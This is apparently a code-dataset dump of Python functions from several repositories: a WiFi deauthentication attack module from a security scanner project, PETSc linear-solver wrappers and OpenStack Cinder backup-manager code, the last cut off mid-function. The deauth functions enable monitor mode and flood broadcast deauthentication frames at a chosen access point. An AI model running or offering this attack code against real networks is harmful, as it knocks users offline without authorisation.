subprocess.check_output(command, shell=True) | Quickly execute small commands | src/lib/attacks/deauth/deauth_attack.py | quickExecute | FrancescoPenasa/vault_scanner | 230 | python | @staticmethod
def quickExecute(command):
'\n \n '
subprocess.check_output(command, shell=True) | @staticmethod
def quickExecute(command):
'\n \n '
subprocess.check_output(command, shell=True)<|docstring|>Quickly execute small commands<|endoftext|> |
2fd0b836b0b6e77b2fc1831cbc1178f69c356a75157a6fe6ff88353145d6dd21 | def parseResult(self):
'\n Parses and beautifully print\n the monitored result\n '
print(('*' * 61))
print('Index'.ljust(4), '|', ' ESSID '.ljust(30), '|', ' BSSID '.ljust(18), '|')
print(('*' * 61))
for index in range(len(self.BSSID)):
print(str(index).ljust(5), '|', self.ESSID[index].ljust(30), '|', self.BSSID[index].ljust(17), '|')
print(('-' * 61))
print('\n')
choice_target = (- 1)
while ((choice_target > len(self.BSSID)) or (choice_target < 0)):
choice_target = int(input('>> Enter the index of the target : '))
return (self.BSSID[choice_target], self.ESSID[choice_target]) | Parses and beautifully print
the monitored result | src/lib/attacks/deauth/deauth_attack.py | parseResult | FrancescoPenasa/vault_scanner | 230 | python | def parseResult(self):
'\n Parses and beautifully print\n the monitored result\n '
print(('*' * 61))
print('Index'.ljust(4), '|', ' ESSID '.ljust(30), '|', ' BSSID '.ljust(18), '|')
print(('*' * 61))
for index in range(len(self.BSSID)):
print(str(index).ljust(5), '|', self.ESSID[index].ljust(30), '|', self.BSSID[index].ljust(17), '|')
print(('-' * 61))
print('\n')
choice_target = (- 1)
while ((choice_target > len(self.BSSID)) or (choice_target < 0)):
choice_target = int(input('>> Enter the index of the target : '))
return (self.BSSID[choice_target], self.ESSID[choice_target]) | def parseResult(self):
'\n Parses and beautifully print\n the monitored result\n '
print(('*' * 61))
print('Index'.ljust(4), '|', ' ESSID '.ljust(30), '|', ' BSSID '.ljust(18), '|')
print(('*' * 61))
for index in range(len(self.BSSID)):
print(str(index).ljust(5), '|', self.ESSID[index].ljust(30), '|', self.BSSID[index].ljust(17), '|')
print(('-' * 61))
print('\n')
choice_target = (- 1)
while ((choice_target > len(self.BSSID)) or (choice_target < 0)):
choice_target = int(input('>> Enter the index of the target : '))
return (self.BSSID[choice_target], self.ESSID[choice_target])<|docstring|>Parses and beautifully print
the monitored result<|endoftext|> |
ef37d51480d4aee78254ce48c5978c894463dc52154b31e2c0b7528505b7d831 | def startMon(self):
'\n Puts the selected interface in monitor mode\n '
colors.info('Killing all the process...')
kill_process_command = 'airmon-ng check kill'
self.quickExecute(kill_process_command)
start_mon = subprocess.Popen(['airmon-ng start {}'.format(self.interface)], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(output, error) = start_mon.communicate()
if error:
print(error.decode('utf-8'))
sys.exit(1)
colors.info('Monitor mode started') | Puts the selected interface in monitor mode | src/lib/attacks/deauth/deauth_attack.py | startMon | FrancescoPenasa/vault_scanner | 230 | python | def startMon(self):
'\n \n '
colors.info('Killing all the process...')
kill_process_command = 'airmon-ng check kill'
self.quickExecute(kill_process_command)
start_mon = subprocess.Popen(['airmon-ng start {}'.format(self.interface)], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(output, error) = start_mon.communicate()
if error:
print(error.decode('utf-8'))
sys.exit(1)
colors.info('Monitor mode started') | def startMon(self):
'\n \n '
colors.info('Killing all the process...')
kill_process_command = 'airmon-ng check kill'
self.quickExecute(kill_process_command)
start_mon = subprocess.Popen(['airmon-ng start {}'.format(self.interface)], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(output, error) = start_mon.communicate()
if error:
print(error.decode('utf-8'))
sys.exit(1)
colors.info('Monitor mode started')<|docstring|>Puts the selected interface in monitor mode<|endoftext|> |
4b92703258706dcb425539ec8cfdab12e9505cafd4bdf2b59e077e5820634dba | def monInterface(self):
'\n Collects the name of the\n new monitor interface\n '
with open(self.DEV_FILE_PATH) as file:
data = file.read()
mon_intf = re.findall('(mon[0-9]+|prism[0-9]+|\\b([a-zA-Z0-9]+)mon)', data)
return mon_intf[0][0] | Collects the name of the
new monitor interface | src/lib/attacks/deauth/deauth_attack.py | monInterface | FrancescoPenasa/vault_scanner | 230 | python | def monInterface(self):
'\n Collects the name of the\n new monitor interface\n '
with open(self.DEV_FILE_PATH) as file:
data = file.read()
mon_intf = re.findall('(mon[0-9]+|prism[0-9]+|\\b([a-zA-Z0-9]+)mon)', data)
return mon_intf[0][0] | def monInterface(self):
'\n Collects the name of the\n new monitor interface\n '
with open(self.DEV_FILE_PATH) as file:
data = file.read()
mon_intf = re.findall('(mon[0-9]+|prism[0-9]+|\\b([a-zA-Z0-9]+)mon)', data)
return mon_intf[0][0]<|docstring|>Collects the name of the
new monitor interface<|endoftext|> |
f65b30511ee7b801ba4add4591720461cc4cd598ebeafe0e72992411a79af913 | def startProcess(self):
'\n Start sending deauth packets\n to the target bssid\n '
t1 = time.time()
if self.target_essid:
colors.info('Targetting : {} : {}'.format(self.target_bssid, self.target_essid))
else:
colors.info('Targetting : {}'.format(self.target_bssid))
colors.success('Deauthentication attack started')
colors.info('Press CTRL+C to stop...')
addr1 = 'ff:ff:ff:ff:ff:ff'
PKT = ((RadioTap() / scapy.all.Dot11(addr1=addr1, addr2=self.target_bssid, addr3=self.target_bssid)) / Dot11Deauth())
try:
while True:
sendp(PKT, iface=self.monFace, count=1, inter=self.INTER, verbose=False)
self.no_of_packets = (self.no_of_packets + 1)
print('[+] Sent : {} packets'.format(self.no_of_packets), end='\r')
except KeyboardInterrupt:
self.restore()
except Exception as e:
print(e)
sys.exit(1)
finally:
t2 = time.time()
colors.success('Deauthentication attack completed in {}'.format((t2 - t1))) | Start sending deauth packets
to the target bssid | src/lib/attacks/deauth/deauth_attack.py | startProcess | FrancescoPenasa/vault_scanner | 230 | python | def startProcess(self):
'\n Start sending deauth packets\n to the target bssid\n '
t1 = time.time()
if self.target_essid:
colors.info('Targetting : {} : {}'.format(self.target_bssid, self.target_essid))
else:
colors.info('Targetting : {}'.format(self.target_bssid))
colors.success('Deauthentication attack started')
colors.info('Press CTRL+C to stop...')
addr1 = 'ff:ff:ff:ff:ff:ff'
PKT = ((RadioTap() / scapy.all.Dot11(addr1=addr1, addr2=self.target_bssid, addr3=self.target_bssid)) / Dot11Deauth())
try:
while True:
sendp(PKT, iface=self.monFace, count=1, inter=self.INTER, verbose=False)
self.no_of_packets = (self.no_of_packets + 1)
print('[+] Sent : {} packets'.format(self.no_of_packets), end='\r')
except KeyboardInterrupt:
self.restore()
except Exception as e:
print(e)
sys.exit(1)
finally:
t2 = time.time()
colors.success('Deauthentication attack completed in {}'.format((t2 - t1))) | def startProcess(self):
'\n Start sending deauth packets\n to the target bssid\n '
t1 = time.time()
if self.target_essid:
colors.info('Targetting : {} : {}'.format(self.target_bssid, self.target_essid))
else:
colors.info('Targetting : {}'.format(self.target_bssid))
colors.success('Deauthentication attack started')
colors.info('Press CTRL+C to stop...')
addr1 = 'ff:ff:ff:ff:ff:ff'
PKT = ((RadioTap() / scapy.all.Dot11(addr1=addr1, addr2=self.target_bssid, addr3=self.target_bssid)) / Dot11Deauth())
try:
while True:
sendp(PKT, iface=self.monFace, count=1, inter=self.INTER, verbose=False)
self.no_of_packets = (self.no_of_packets + 1)
print('[+] Sent : {} packets'.format(self.no_of_packets), end='\r')
except KeyboardInterrupt:
self.restore()
except Exception as e:
print(e)
sys.exit(1)
finally:
t2 = time.time()
colors.success('Deauthentication attack completed in {}'.format((t2 - t1)))<|docstring|>Start sending deauth packets
to the target bssid<|endoftext|> |
c3def569b70547604b014931d92a045131cc7a3fd0a6c14018865dafe6c993e3 | def restore(self):
'\n Restore the network services\n '
colors.info('[!] Restoring the network services...')
command0 = 'airmon-ng stop {}'.format(self.monFace)
command1 = 'service networking restart'
command2 = 'service network-manager restart'
self.quickExecute(command0)
self.quickExecute(command1)
self.quickExecute(command2)
colors.success('Restored') | Restore the network services | src/lib/attacks/deauth/deauth_attack.py | restore | FrancescoPenasa/vault_scanner | 230 | python | def restore(self):
'\n \n '
colors.info('[!] Restoring the network services...')
command0 = 'airmon-ng stop {}'.format(self.monFace)
command1 = 'service networking restart'
command2 = 'service network-manager restart'
self.quickExecute(command0)
self.quickExecute(command1)
self.quickExecute(command2)
colors.success('Restored') | def restore(self):
'\n \n '
colors.info('[!] Restoring the network services...')
command0 = 'airmon-ng stop {}'.format(self.monFace)
command1 = 'service networking restart'
command2 = 'service network-manager restart'
self.quickExecute(command0)
self.quickExecute(command1)
self.quickExecute(command2)
colors.success('Restored')<|docstring|>Restore the network services<|endoftext|> |
0b7f5d693219c9c9228d67dfeb2a144d7a7a72ec4cddad0458bf26d69dccb246 | @classmethod
def get_default_properties(cls, algo_name):
'Return the properties of the algorithm.\n It states if it requires symmetric,\n or positive definite matrices for instance.\n Args:\n algo_name: The algorithm name.\n Returns:\n The properties of the solver.\n '
return {cls.LHS_MUST_BE_POSITIVE_DEFINITE: False, cls.LHS_MUST_BE_SYMMETRIC: False, cls.LHS_CAN_BE_LINEAR_OPERATOR: True, cls.INTERNAL_NAME: algo_name} | Return the properties of the algorithm.
It states if it requires symmetric,
or positive definite matrices for instance.
Args:
algo_name: The algorithm name.
Returns:
The properties of the solver. | sos_trades_core/execution_engine/gemseo_addon/linear_solvers/ksp_lib.py | get_default_properties | os-climate/sostrades-core | 8 | python | @classmethod
def get_default_properties(cls, algo_name):
'Return the properties of the algorithm.\n It states if it requires symmetric,\n or positive definite matrices for instance.\n Args:\n algo_name: The algorithm name.\n Returns:\n The properties of the solver.\n '
return {cls.LHS_MUST_BE_POSITIVE_DEFINITE: False, cls.LHS_MUST_BE_SYMMETRIC: False, cls.LHS_CAN_BE_LINEAR_OPERATOR: True, cls.INTERNAL_NAME: algo_name} | @classmethod
def get_default_properties(cls, algo_name):
'Return the properties of the algorithm.\n It states if it requires symmetric,\n or positive definite matrices for instance.\n Args:\n algo_name: The algorithm name.\n Returns:\n The properties of the solver.\n '
return {cls.LHS_MUST_BE_POSITIVE_DEFINITE: False, cls.LHS_MUST_BE_SYMMETRIC: False, cls.LHS_CAN_BE_LINEAR_OPERATOR: True, cls.INTERNAL_NAME: algo_name}<|docstring|>Return the properties of the algorithm.
It states if it requires symmetric,
or positive definite matrices for instance.
Args:
algo_name: The algorithm name.
Returns:
The properties of the solver.<|endoftext|> |
5cfc239c3d2e63b5550f7bf14070b5413b1d394a40d0ed548ca31851fc407413 | def _get_options(self, solver_type='gmres', max_iter=100000, tol=1e-200, atol=1e-08, dtol=1e+50, preconditioner_type='ilu', view_config=False, ksp_pre_processor=None, options_cmd=None, set_from_options=False, monitor_residuals=False):
'Return the algorithm options.\n\n This method returns the algoritms options after having done some checks,\n and if necessary,\n set the default values.\n\n Args:\n solver_type: The KSP solver type.\n See `https://petsc.org/release/docs/manualpages/KSP/KSPType.html#KSPType`_\n max_iter: The maximum number of iterations.\n tol: The relative convergence tolerance,\n relative decrease in the (possibly preconditioned) residual norm.\n atol: The absolute convergence tolerance of the\n (possibly preconditioned) residual norm.\n dtol: The divergence tolerance,\n e.g. the amount the (possibly preconditioned) residual norm can increase.\n preconditioner_type: The type of the precondtioner,\n see `https://www.mcs.anl.gov/petsc/petsc4py-current/docs/apiref/petsc4py.PETSc.PC.Type-class.html`_ # noqa: B950\n view_config: Whether to call ksp.view() to view the configuration\n of the solver before run.\n ksp_pre_processor: A callback function that is called with (KSP problem,\n options dict) as arguments before calling ksp.solve().\n It allows the user to obtain an advanced configuration that is not\n supported by the current wrapper.\n If None, do not perform any call.\n options_cmd: The options to pass to the PETSc KSP solver.\n If None, use the default options.\n set_from_options: Whether the options are set from sys.argv,\n a classical Petsc configuration mode.\n monitor_residuals: Whether to store the residuals during convergence.\n WARNING: as said in Petsc documentation,\n "the routine is slow and should be used only for\n testing or convergence studies, not for timing."\n\n Returns:\n The algorithm options.\n '
return self._process_options(max_iter=max_iter, solver_type=solver_type, monitor_residuals=monitor_residuals, tol=tol, atol=atol, dtol=dtol, preconditioner_type=preconditioner_type, view_config=view_config, options_cmd=options_cmd, set_from_options=set_from_options, ksp_pre_processor=ksp_pre_processor) | Return the algorithm options.
This method returns the algoritms options after having done some checks,
and if necessary,
set the default values.
Args:
solver_type: The KSP solver type.
See `https://petsc.org/release/docs/manualpages/KSP/KSPType.html#KSPType`_
max_iter: The maximum number of iterations.
tol: The relative convergence tolerance,
relative decrease in the (possibly preconditioned) residual norm.
atol: The absolute convergence tolerance of the
(possibly preconditioned) residual norm.
dtol: The divergence tolerance,
e.g. the amount the (possibly preconditioned) residual norm can increase.
preconditioner_type: The type of the precondtioner,
see `https://www.mcs.anl.gov/petsc/petsc4py-current/docs/apiref/petsc4py.PETSc.PC.Type-class.html`_ # noqa: B950
view_config: Whether to call ksp.view() to view the configuration
of the solver before run.
ksp_pre_processor: A callback function that is called with (KSP problem,
options dict) as arguments before calling ksp.solve().
It allows the user to obtain an advanced configuration that is not
supported by the current wrapper.
If None, do not perform any call.
options_cmd: The options to pass to the PETSc KSP solver.
If None, use the default options.
set_from_options: Whether the options are set from sys.argv,
a classical Petsc configuration mode.
monitor_residuals: Whether to store the residuals during convergence.
WARNING: as said in Petsc documentation,
"the routine is slow and should be used only for
testing or convergence studies, not for timing."
Returns:
The algorithm options. | sos_trades_core/execution_engine/gemseo_addon/linear_solvers/ksp_lib.py | _get_options | os-climate/sostrades-core | 8 | python | def _get_options(self, solver_type='gmres', max_iter=100000, tol=1e-200, atol=1e-08, dtol=1e+50, preconditioner_type='ilu', view_config=False, ksp_pre_processor=None, options_cmd=None, set_from_options=False, monitor_residuals=False):
'Return the algorithm options.\n\n This method returns the algoritms options after having done some checks,\n and if necessary,\n set the default values.\n\n Args:\n solver_type: The KSP solver type.\n See `https://petsc.org/release/docs/manualpages/KSP/KSPType.html#KSPType`_\n max_iter: The maximum number of iterations.\n tol: The relative convergence tolerance,\n relative decrease in the (possibly preconditioned) residual norm.\n atol: The absolute convergence tolerance of the\n (possibly preconditioned) residual norm.\n dtol: The divergence tolerance,\n e.g. the amount the (possibly preconditioned) residual norm can increase.\n preconditioner_type: The type of the precondtioner,\n see `https://www.mcs.anl.gov/petsc/petsc4py-current/docs/apiref/petsc4py.PETSc.PC.Type-class.html`_ # noqa: B950\n view_config: Whether to call ksp.view() to view the configuration\n of the solver before run.\n ksp_pre_processor: A callback function that is called with (KSP problem,\n options dict) as arguments before calling ksp.solve().\n It allows the user to obtain an advanced configuration that is not\n supported by the current wrapper.\n If None, do not perform any call.\n options_cmd: The options to pass to the PETSc KSP solver.\n If None, use the default options.\n set_from_options: Whether the options are set from sys.argv,\n a classical Petsc configuration mode.\n monitor_residuals: Whether to store the residuals during convergence.\n WARNING: as said in Petsc documentation,\n "the routine is slow and should be used only for\n testing or convergence studies, not for timing."\n\n Returns:\n The algorithm options.\n '
return self._process_options(max_iter=max_iter, solver_type=solver_type, monitor_residuals=monitor_residuals, tol=tol, atol=atol, dtol=dtol, preconditioner_type=preconditioner_type, view_config=view_config, options_cmd=options_cmd, set_from_options=set_from_options, ksp_pre_processor=ksp_pre_processor) | def _get_options(self, solver_type='gmres', max_iter=100000, tol=1e-200, atol=1e-08, dtol=1e+50, preconditioner_type='ilu', view_config=False, ksp_pre_processor=None, options_cmd=None, set_from_options=False, monitor_residuals=False):
'Return the algorithm options.\n\n This method returns the algoritms options after having done some checks,\n and if necessary,\n set the default values.\n\n Args:\n solver_type: The KSP solver type.\n See `https://petsc.org/release/docs/manualpages/KSP/KSPType.html#KSPType`_\n max_iter: The maximum number of iterations.\n tol: The relative convergence tolerance,\n relative decrease in the (possibly preconditioned) residual norm.\n atol: The absolute convergence tolerance of the\n (possibly preconditioned) residual norm.\n dtol: The divergence tolerance,\n e.g. the amount the (possibly preconditioned) residual norm can increase.\n preconditioner_type: The type of the precondtioner,\n see `https://www.mcs.anl.gov/petsc/petsc4py-current/docs/apiref/petsc4py.PETSc.PC.Type-class.html`_ # noqa: B950\n view_config: Whether to call ksp.view() to view the configuration\n of the solver before run.\n ksp_pre_processor: A callback function that is called with (KSP problem,\n options dict) as arguments before calling ksp.solve().\n It allows the user to obtain an advanced configuration that is not\n supported by the current wrapper.\n If None, do not perform any call.\n options_cmd: The options to pass to the PETSc KSP solver.\n If None, use the default options.\n set_from_options: Whether the options are set from sys.argv,\n a classical Petsc configuration mode.\n monitor_residuals: Whether to store the residuals during convergence.\n WARNING: as said in Petsc documentation,\n "the routine is slow and should be used only for\n testing or convergence studies, not for timing."\n\n Returns:\n The algorithm options.\n '
return self._process_options(max_iter=max_iter, solver_type=solver_type, monitor_residuals=monitor_residuals, tol=tol, atol=atol, dtol=dtol, preconditioner_type=preconditioner_type, view_config=view_config, options_cmd=options_cmd, set_from_options=set_from_options, ksp_pre_processor=ksp_pre_processor)<|docstring|>Return the algorithm options.
This method returns the algoritms options after having done some checks,
and if necessary,
set the default values.
Args:
solver_type: The KSP solver type.
See `https://petsc.org/release/docs/manualpages/KSP/KSPType.html#KSPType`_
max_iter: The maximum number of iterations.
tol: The relative convergence tolerance,
relative decrease in the (possibly preconditioned) residual norm.
atol: The absolute convergence tolerance of the
(possibly preconditioned) residual norm.
dtol: The divergence tolerance,
e.g. the amount the (possibly preconditioned) residual norm can increase.
preconditioner_type: The type of the precondtioner,
see `https://www.mcs.anl.gov/petsc/petsc4py-current/docs/apiref/petsc4py.PETSc.PC.Type-class.html`_ # noqa: B950
view_config: Whether to call ksp.view() to view the configuration
of the solver before run.
ksp_pre_processor: A callback function that is called with (KSP problem,
options dict) as arguments before calling ksp.solve().
It allows the user to obtain an advanced configuration that is not
supported by the current wrapper.
If None, do not perform any call.
options_cmd: The options to pass to the PETSc KSP solver.
If None, use the default options.
set_from_options: Whether the options are set from sys.argv,
a classical Petsc configuration mode.
monitor_residuals: Whether to store the residuals during convergence.
WARNING: as said in Petsc documentation,
"the routine is slow and should be used only for
testing or convergence studies, not for timing."
Returns:
The algorithm options.<|endoftext|> |
65a6fbe86722803d2770fc2ba5714f94dac8696735810cbb503184114e09142f | def __monitor(self, ksp, its, rnorm):
'Add the normed residual value to the problem residual history.\n\n This method is aimed to be passed to petsc4py as a reference.\n This is the reason why some of its arguments are not used.\n\n Args:\n ksp: The KSP PETSc solver.\n its: The current iteration.\n rnorm: The normed residual.\n '
self.problem.residuals_history.append(rnorm) | Add the normed residual value to the problem residual history.
This method is aimed to be passed to petsc4py as a reference.
This is the reason why some of its arguments are not used.
Args:
ksp: The KSP PETSc solver.
its: The current iteration.
rnorm: The normed residual. | sos_trades_core/execution_engine/gemseo_addon/linear_solvers/ksp_lib.py | __monitor | os-climate/sostrades-core | 8 | python | def __monitor(self, ksp, its, rnorm):
'Add the normed residual value to the problem residual history.\n\n This method is aimed to be passed to petsc4py as a reference.\n This is the reason why some of its arguments are not used.\n\n Args:\n ksp: The KSP PETSc solver.\n its: The current iteration.\n rnorm: The normed residual.\n '
self.problem.residuals_history.append(rnorm) | def __monitor(self, ksp, its, rnorm):
'Add the normed residual value to the problem residual history.\n\n This method is aimed to be passed to petsc4py as a reference.\n This is the reason why some of its arguments are not used.\n\n Args:\n ksp: The KSP PETSc solver.\n its: The current iteration.\n rnorm: The normed residual.\n '
self.problem.residuals_history.append(rnorm)<|docstring|>Add the normed residual value to the problem residual history.
This method is aimed to be passed to petsc4py as a reference.
This is the reason why some of its arguments are not used.
Args:
ksp: The KSP PETSc solver.
its: The current iteration.
rnorm: The normed residual.<|endoftext|> |
b447462259225b310e2e5163f8f3679dac4078e3299d6c6e8c58747383aaa41f | def _run(self, **options):
'Run the algorithm.\n\n Args:\n **options: The algorithm options.\n\n Returns:\n The solution of the problem.\n '
options['max_iter'] = int(options['max_iter'])
options['atol'] = options['tol']
options['tol'] = self.default_tol
b = self.problem.rhs
A = self.problem.lhs
if ('maxiter' not in options):
options['maxiter'] = (50 * b.shape[0])
else:
options['maxiter'] = min(options['maxiter'], (50 * A.shape[0]))
options['old_sol'] = None
(sol, info, ksp) = self._run_petsc_strategy(**options)
if (info < 0):
options['solver_type'] = 'bcgs'
options['preconditioner_type'] = 'gasm'
options['old_sol'] = sol
(sol, info, ksp) = self._run_petsc_strategy(**options)
if (info >= 0):
LOGGER.warning(f'The second try with GASM preconditioner and bi CG stabilized linear solver has converged at {ksp.getResidualNorm()}')
elif (info == (- 3)):
LOGGER.warning(f"DIVERGED_ITS error : the number of iterations of the solver is {len(ksp.getConvergenceHistory())} with a max iter of {options['maxiter']}, try to launch again with 10*max_iter")
options['maxiter'] = (10 * options['maxiter'])
options['solver_type'] = 'bcgs'
options['preconditioner_type'] = 'gasm'
options['old_sol'] = sol
(sol, info, ksp) = self._run_petsc_strategy(**options)
return self.problem.solution | Run the algorithm.
Args:
**options: The algorithm options.
Returns:
The solution of the problem. | sos_trades_core/execution_engine/gemseo_addon/linear_solvers/ksp_lib.py | _run | os-climate/sostrades-core | 8 | python | def _run(self, **options):
'Run the algorithm.\n\n Args:\n **options: The algorithm options.\n\n Returns:\n The solution of the problem.\n '
options['max_iter'] = int(options['max_iter'])
options['atol'] = options['tol']
options['tol'] = self.default_tol
b = self.problem.rhs
A = self.problem.lhs
if ('maxiter' not in options):
options['maxiter'] = (50 * b.shape[0])
else:
options['maxiter'] = min(options['maxiter'], (50 * A.shape[0]))
options['old_sol'] = None
(sol, info, ksp) = self._run_petsc_strategy(**options)
if (info < 0):
options['solver_type'] = 'bcgs'
options['preconditioner_type'] = 'gasm'
options['old_sol'] = sol
(sol, info, ksp) = self._run_petsc_strategy(**options)
if (info >= 0):
LOGGER.warning(f'The second try with GASM preconditioner and bi CG stabilized linear solver has converged at {ksp.getResidualNorm()}')
elif (info == (- 3)):
LOGGER.warning(f"DIVERGED_ITS error : the number of iterations of the solver is {len(ksp.getConvergenceHistory())} with a max iter of {options['maxiter']}, try to launch again with 10*max_iter")
options['maxiter'] = (10 * options['maxiter'])
options['solver_type'] = 'bcgs'
options['preconditioner_type'] = 'gasm'
options['old_sol'] = sol
(sol, info, ksp) = self._run_petsc_strategy(**options)
return self.problem.solution | def _run(self, **options):
'Run the algorithm.\n\n Args:\n **options: The algorithm options.\n\n Returns:\n The solution of the problem.\n '
options['max_iter'] = int(options['max_iter'])
options['atol'] = options['tol']
options['tol'] = self.default_tol
b = self.problem.rhs
A = self.problem.lhs
if ('maxiter' not in options):
options['maxiter'] = (50 * b.shape[0])
else:
options['maxiter'] = min(options['maxiter'], (50 * A.shape[0]))
options['old_sol'] = None
(sol, info, ksp) = self._run_petsc_strategy(**options)
if (info < 0):
options['solver_type'] = 'bcgs'
options['preconditioner_type'] = 'gasm'
options['old_sol'] = sol
(sol, info, ksp) = self._run_petsc_strategy(**options)
if (info >= 0):
LOGGER.warning(f'The second try with GASM preconditioner and bi CG stabilized linear solver has converged at {ksp.getResidualNorm()}')
elif (info == (- 3)):
LOGGER.warning(f"DIVERGED_ITS error : the number of iterations of the solver is {len(ksp.getConvergenceHistory())} with a max iter of {options['maxiter']}, try to launch again with 10*max_iter")
options['maxiter'] = (10 * options['maxiter'])
options['solver_type'] = 'bcgs'
options['preconditioner_type'] = 'gasm'
options['old_sol'] = sol
(sol, info, ksp) = self._run_petsc_strategy(**options)
return self.problem.solution<|docstring|>Run the algorithm.
Args:
**options: The algorithm options.
Returns:
The solution of the problem.<|endoftext|> |
73c675da3edc02e35f180e125ff42dc4891c7a870b5992d81b68e29a6d74ae64 | @property
def driver_name(self):
'This function maps old backup services to backup drivers.'
return self._map_service_to_driver(CONF.backup_driver) | This function maps old backup services to backup drivers. | cinder/backup/manager.py | driver_name | inspur-storage/cinder | 1 | python | @property
def driver_name(self):
return self._map_service_to_driver(CONF.backup_driver) | @property
def driver_name(self):
return self._map_service_to_driver(CONF.backup_driver)<|docstring|>This function maps old backup services to backup drivers.<|endoftext|> |
9bbd084acf25878e88b428a486a2eb4c269e162d06b77fc561f75e779b5f3c8d | def _map_service_to_driver(self, service):
'Maps services to drivers.'
if (service in mapper):
msg = "Using legacy backup service configuration like cinder.backup.services.* is deprecated and will be removed in the 'R' release. Please use the cinder.backup.drivers.* method instead."
versionutils.report_deprecated_feature(LOG, msg)
return mapper[service]
return service | Maps services to drivers. | cinder/backup/manager.py | _map_service_to_driver | inspur-storage/cinder | 1 | python | def _map_service_to_driver(self, service):
if (service in mapper):
msg = "Using legacy backup service configuration like cinder.backup.services.* is deprecated and will be removed in the 'R' release. Please use the cinder.backup.drivers.* method instead."
versionutils.report_deprecated_feature(LOG, msg)
return mapper[service]
return service | def _map_service_to_driver(self, service):
if (service in mapper):
msg = "Using legacy backup service configuration like cinder.backup.services.* is deprecated and will be removed in the 'R' release. Please use the cinder.backup.drivers.* method instead."
versionutils.report_deprecated_feature(LOG, msg)
return mapper[service]
return service<|docstring|>Maps services to drivers.<|endoftext|> |
d8f872f8bb5b9c85bd8b60bce167deec89bb062c7f27b822a12dc192c83117b2 | def init_host(self, **kwargs):
'Run initialization needed for a standalone service.'
ctxt = context.get_admin_context()
self.setup_backup_backend(ctxt)
try:
self._cleanup_incomplete_backup_operations(ctxt)
except Exception:
LOG.exception('Problem cleaning incomplete backup operations.') | Run initialization needed for a standalone service. | cinder/backup/manager.py | init_host | inspur-storage/cinder | 1 | python | def init_host(self, **kwargs):
ctxt = context.get_admin_context()
self.setup_backup_backend(ctxt)
try:
self._cleanup_incomplete_backup_operations(ctxt)
except Exception:
LOG.exception('Problem cleaning incomplete backup operations.') | def init_host(self, **kwargs):
ctxt = context.get_admin_context()
self.setup_backup_backend(ctxt)
try:
self._cleanup_incomplete_backup_operations(ctxt)
except Exception:
LOG.exception('Problem cleaning incomplete backup operations.')<|docstring|>Run initialization needed for a standalone service.<|endoftext|> |
5f06e0d0f87c695962595af82a4cadf26cadc9fea1e6233a171e314a073964e2 | def create_backup(self, context, backup):
'Create volume backups using configured backup service.'
volume_id = backup.volume_id
snapshot_id = backup.snapshot_id
volume = objects.Volume.get_by_id(context, volume_id)
snapshot = (objects.Snapshot.get_by_id(context, snapshot_id) if snapshot_id else None)
previous_status = volume.get('previous_status', None)
updates = {}
if snapshot_id:
log_message = ('Create backup started, backup: %(backup_id)s volume: %(volume_id)s snapshot: %(snapshot_id)s.' % {'backup_id': backup.id, 'volume_id': volume_id, 'snapshot_id': snapshot_id})
else:
log_message = ('Create backup started, backup: %(backup_id)s volume: %(volume_id)s.' % {'backup_id': backup.id, 'volume_id': volume_id})
LOG.info(log_message)
self._notify_about_backup_usage(context, backup, 'create.start')
backup.host = self.host
backup.service = self.driver_name
backup.availability_zone = self.az
backup.save()
expected_status = 'backing-up'
if snapshot_id:
actual_status = snapshot['status']
if (actual_status != expected_status):
err = (_('Create backup aborted, expected snapshot status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidSnapshot(reason=err)
else:
actual_status = volume['status']
if (actual_status != expected_status):
err = (_('Create backup aborted, expected volume status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidVolume(reason=err)
expected_status = fields.BackupStatus.CREATING
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Create backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
try:
if (not self.is_working()):
err = _('Create backup aborted due to backup service is down')
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
updates = self._run_backup(context, backup, volume)
except Exception as err:
with excutils.save_and_reraise_exception():
if snapshot_id:
snapshot.status = fields.SnapshotStatus.AVAILABLE
snapshot.save()
else:
self.db.volume_update(context, volume_id, {'status': previous_status, 'previous_status': 'error_backing-up'})
self._update_backup_error(backup, six.text_type(err))
if snapshot_id:
self.db.snapshot_update(context, snapshot_id, {'status': fields.BackupStatus.AVAILABLE})
else:
self.db.volume_update(context, volume_id, {'status': previous_status, 'previous_status': 'backing-up'})
backup.status = fields.BackupStatus.AVAILABLE
backup.size = volume['size']
if updates:
backup.update(updates)
backup.save()
if backup.parent_id:
parent_backup = objects.Backup.get_by_id(context, backup.parent_id)
parent_backup.num_dependent_backups += 1
parent_backup.save()
LOG.info('Create backup finished. backup: %s.', backup.id)
self._notify_about_backup_usage(context, backup, 'create.end') | Create volume backups using configured backup service. | cinder/backup/manager.py | create_backup | inspur-storage/cinder | 1 | python | def create_backup(self, context, backup):
volume_id = backup.volume_id
snapshot_id = backup.snapshot_id
volume = objects.Volume.get_by_id(context, volume_id)
snapshot = (objects.Snapshot.get_by_id(context, snapshot_id) if snapshot_id else None)
previous_status = volume.get('previous_status', None)
updates = {}
if snapshot_id:
log_message = ('Create backup started, backup: %(backup_id)s volume: %(volume_id)s snapshot: %(snapshot_id)s.' % {'backup_id': backup.id, 'volume_id': volume_id, 'snapshot_id': snapshot_id})
else:
log_message = ('Create backup started, backup: %(backup_id)s volume: %(volume_id)s.' % {'backup_id': backup.id, 'volume_id': volume_id})
LOG.info(log_message)
self._notify_about_backup_usage(context, backup, 'create.start')
backup.host = self.host
backup.service = self.driver_name
backup.availability_zone = self.az
backup.save()
expected_status = 'backing-up'
if snapshot_id:
actual_status = snapshot['status']
if (actual_status != expected_status):
err = (_('Create backup aborted, expected snapshot status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidSnapshot(reason=err)
else:
actual_status = volume['status']
if (actual_status != expected_status):
err = (_('Create backup aborted, expected volume status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
